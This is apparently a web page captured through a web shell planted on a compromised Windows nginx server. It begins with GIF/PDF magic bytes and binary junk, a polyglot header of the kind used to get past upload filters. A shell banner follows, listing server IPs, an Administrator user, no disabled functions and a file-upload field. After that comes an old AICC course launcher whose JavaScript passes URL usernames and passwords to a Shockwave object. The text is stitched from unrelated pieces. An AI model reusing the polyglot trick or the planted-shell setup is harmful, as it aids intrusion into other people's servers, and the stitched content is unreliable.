GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/_Archive/CST1805/Courses/39106/ |
Upload File : |
<html> <head> <title>UNIX: Programming Tools</title> <body marginwidth=0 marginheight=0 leftmargin=0 topmargin=0 bgcolor=#000000> <script language="javascript1.2"> // Find the start of the AICC parameters. We first look for #, which is // not aicc compliant, but is the only way this will work under // MS personal web server. If that fails, we look for the conventional // ?. params = "" // The empty string at the end converts the location to a string. loc = parent.document.location + "" //pos = loc.indexOf("#") //if (pos == -1) pos = loc.indexOf("?") if (pos > -1) params = loc.substring(pos + 1, loc.length) tempp = params.toUpperCase() // **************************** // LOOK FOR THE TRACKING SYSTEM // **************************** pos = tempp.indexOf("TSYSTEM") tsystem="none" lth=9 if (pos > -1) { tsystem = params.substring(pos + 8, params.length) if (tsystem.indexOf("&") > 0) tsystem =tsystem.substring(1, tsystem.indexOf("&")); tsystem = unescape(tsystem); lth= 8; } // ***************************** // LOOK FOR THE AICC SESSION ID. // ***************************** pos = tempp.indexOf("AICC_SID=") sessionid = "none" if (pos > -1) { sessionid = params.substring(pos + 9, params.length) if (sessionid.indexOf("&") > 0) sessionid = sessionid.substring(1, sessionid.indexOf("&")) sessionid = unescape(sessionid) if (tsystem == "none") tsystem = "Pathware" } // ********************************* // LOOK FOR THE TARGET TRACKING URL. // ********************************* pos = tempp.indexOf("AICC_URL=") targeturl = "none" if (pos > -1) { targeturl = params.substring(pos + lth, params.length) if (targeturl.indexOf("&") > 0) targeturl =targeturl.substring(1, targeturl.indexOf("&")) targeturl = unescape(targeturl) } // ***************** // LOOK FOR USERNAME // ***************** pos = tempp.indexOf("USERNAME") username = "none" if (pos > -1) { username = params.substring(pos + 8, params.length) if (username.indexOf("&") > 0) username =username.substring(1, username.indexOf("&")) username = unescape(username) } // ***************** // LOOK FOR PASSWORD // ***************** pos = tempp.indexOf("PASSWORD") password="none" if (pos > -1) { password = params.substring(pos + 8, params.length) if (password.indexOf("&") > 0) password =password.substring(1, password.indexOf("&")) password = unescape(password) } // ******************************* // CHECK IF SHOCKWAVE IS INSTALLED // ******************************* var ShockMode = 0; if (navigator.mimeTypes && navigator.mimeTypes["application/x-director"] && navigator.mimeTypes["application/x-director"].enabledPlugin) { if (navigator.plugins && navigator.plugins["Shockwave for Director"] && (versionIndex = navigator.plugins["Shockwave for Director"].description.indexOf(".")) != - 1) { var versionString = navigator.plugins["Shockwave for Director"].description.substring(versionIndex-1, versionIndex); versionIndex = parseInt( versionString ); if ( versionIndex >= 7 ) ShockMode = 1; } } else { if (navigator.appName.indexOf("Netscape") != -1) { // You do not have Shockwave installed window.open('/help/shockwave_install.htm','install_win','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=1,resizable=0,width=550,height=475'); self.close(); } } // Note: we don't want our Nav4 or IE4 code to "turn off" or stop working // when Nav5 and IE5 (or later) are released, so in conditional code forks, // we're using is_nav4up ("Nav4 or greater") and is_ie4up ("IE4 or greater") // instead of is_nav4 or is_ie4 to check version in code which you want to // work on future versions. // convert all characters to lowercase to simplify testing var agt=navigator.userAgent.toLowerCase(); // *************** // BROWSER VERSION // *************** // Note: On IE5, these return 4, so use is_ie5up to detect IE5. var is_major = parseInt(navigator.appVersion); var is_minor = parseFloat(navigator.appVersion); // NOTE: Opera and WebTV spoof Navigator. This does strict client detection. // If you want to allow spoofing, take out the tests for opera and webtv. var is_nav = ((agt.indexOf('mozilla') != -1) && (agt.indexOf('spoofer') == -1) && (agt.indexOf('compatible') == -1) && (agt.indexOf('opera') == -1) && (agt.indexOf('webtv') == -1)); var is_nav2 = (is_nav && (is_major == 2)); var is_nav3 = (is_nav && (is_major == 3)); var is_nav4 = (is_nav && (is_major == 4)); var is_nav4up = (is_nav && (is_major >= 4)); var is_navonly = (is_nav && ((agt.indexOf(";nav") != -1) || (agt.indexOf("; nav") != -1)) ); var is_nav5 = (is_nav && (is_major == 5)); var is_nav5up = (is_nav && (is_major >= 5)); var is_ie = (agt.indexOf("msie") != -1); var is_ie3 = (is_ie && (is_major < 4)); var is_ie4 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0") == -1) ); var is_ie4up = (is_ie && (is_major >= 4)); var is_ie5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0") != -1) ); var is_ie5up = (is_ie && !is_ie3 && !is_ie4); // ******************** // MS INTERNET EXPLORER // ******************** if (navigator.appVersion.indexOf("MSIE") != -1) { if (is_ie4up) { //document.write('<OBJECT classid="clsid:166B1BCA-3F9C-11CF-8075-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=7,0,2,0" width="780" height="540" bgcolor="#000000">'); document.write('<OBJECT classid="clsid:166B1BCA-3F9C-11CF-8075-444553540000" width="780" height="540" bgcolor="#000000">'); document.write(' <PARAM NAME=src VALUE="39106spla.dcr">'); document.write(' <PARAM NAME=sw1 VALUE=' + tsystem +'>'); document.write(' <PARAM NAME=sw2 VALUE=' + username +'>'); document.write(' <PARAM NAME=sw3 VALUE=' + password +'>'); document.write(' <PARAM NAME=sw4 VALUE=' + sessionid +'>'); document.write(' <PARAM NAME=sw5 VALUE=' + targeturl +'>'); document.write('</OBJECT>'); } else { alert ("Please upgrade to the latest version of Internet Explorer for this course to run properly"); window.close(); } } // ****************** // NETSCAPE NAVIGATOR // ****************** if (navigator.appName.indexOf("Netscape") != -1) { if (is_minor > 4.05) { document.write('<EMBED SRC="39106spla.dcr"'); document.write(' swLiveConnect=FALSE WIDTH=780 HEIGHT=540 sw1="' + tsystem + '" sw2="' + username + '" sw3="' + password + '" sw4="' + sessionid + '" sw5="' + targeturl + '"'); //document.write(' TYPE="application/x-director" PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveDirector">'); document.write(' TYPE="application/x-director">'); document.write('</EMBED>'); } else { setResizable(true); self.resizeTo(473,490); document.write('<TABLE WIDTH="100%" HEIGHT="100%" BORDER="0" CELLSPACING="0" CELLPADDING="0" BGCOLOR="#005270" ALIGN="left">'); document.write('<TR> '); document.write(' <TD HEIGHT="30"> '); document.write(' <FONT FACE="Verdana, Arial, Helvetica, sans-serif" COLOR="#FFFFFF" SIZE=+1><B> Netscape Browser Upgrade Recommended!</B></FONT> '); document.write(' </TD>'); document.write('</TR>'); document.write('<TR> '); document.write(' <TD> '); document.write(' <TABLE ALIGN="left" BORDER="0" CELLSPACING="0" CELLPADDING="2" WIDTH="468" BGCOLOR="#005270"> '); document.write(' <TR> '); document.write(' <TD> '); document.write(' <TABLE ALIGN="left" BORDER="0" CELLSPACING="0" CELLPADDING="10" WIDTH="468" BGCOLOR="#ECECEC"> '); document.write(' <TR> '); document.write(' <TD> '); document.write(' <FONT>Netscape Navigator versions 4.05 and earlier include a security component, called a Root CA Certificate, which is set to expire at the end of 1999. We recommend that you upgrade your Netscape browser to the newest version to avoid any warning and/or error messages you may encounter. These messages may indicate that your connection cannot be verified, because your security component has expired. Therefore, Course Technology has changed its minimum requirements to Netscape version 4.06 or higher, and recommend that you upgrade your browser prior to December 31, 1999 in order to avoid such warning messages. '); document.write(' <BR><div> '); document.write(' Once you have upgraded your browser, please return to CourseOnline to continue with the course.'); document.write(' <BR><div> '); document.write(' (Note: If you are accessing the Internet from within a corporate environment, please contact your local system administrator for assistance before upgrading browser software.)</FONT> '); document.write(' </TD> '); document.write(' </TR> '); document.write(' <TR> '); document.write(' <TD> '); document.write(' <div ALIGN="center"><FONT SIZE="2" FACE="Arial, Helvetica, sans-serif"> '); document.write(' <B>PLEASE NOTE: THIS IS NOT A COURSE TECHNOLOGY OR COURSEWARE RELATED ISSUE.</B></FONT></div> '); document.write(' </TD> '); document.write(' </TR> '); document.write(' <TR> '); document.write(' <TD> '); document.write(' <div ALIGN="center"> '); document.write(' <FONT FACE="arial, helvetica" SIZE=3><B><A HREF="http://www.netscape.com/download" TARGET=_blank>Download Newest Version of Netscape Communicator</A></B><BR><FONT SIZE=2>Enables the latest capabilities and security features for Year 2000 and beyond.</FONT> '); document.write(' </TD> '); document.write(' </TR> '); document.write(' </TABLE> '); document.write(' </TD> '); document.write(' </TR> '); document.write(' </TABLE> '); document.write(' </TD> '); document.write('</TR> '); document.write('</TABLE> '); setResizable(false); } } </script> </body> </html>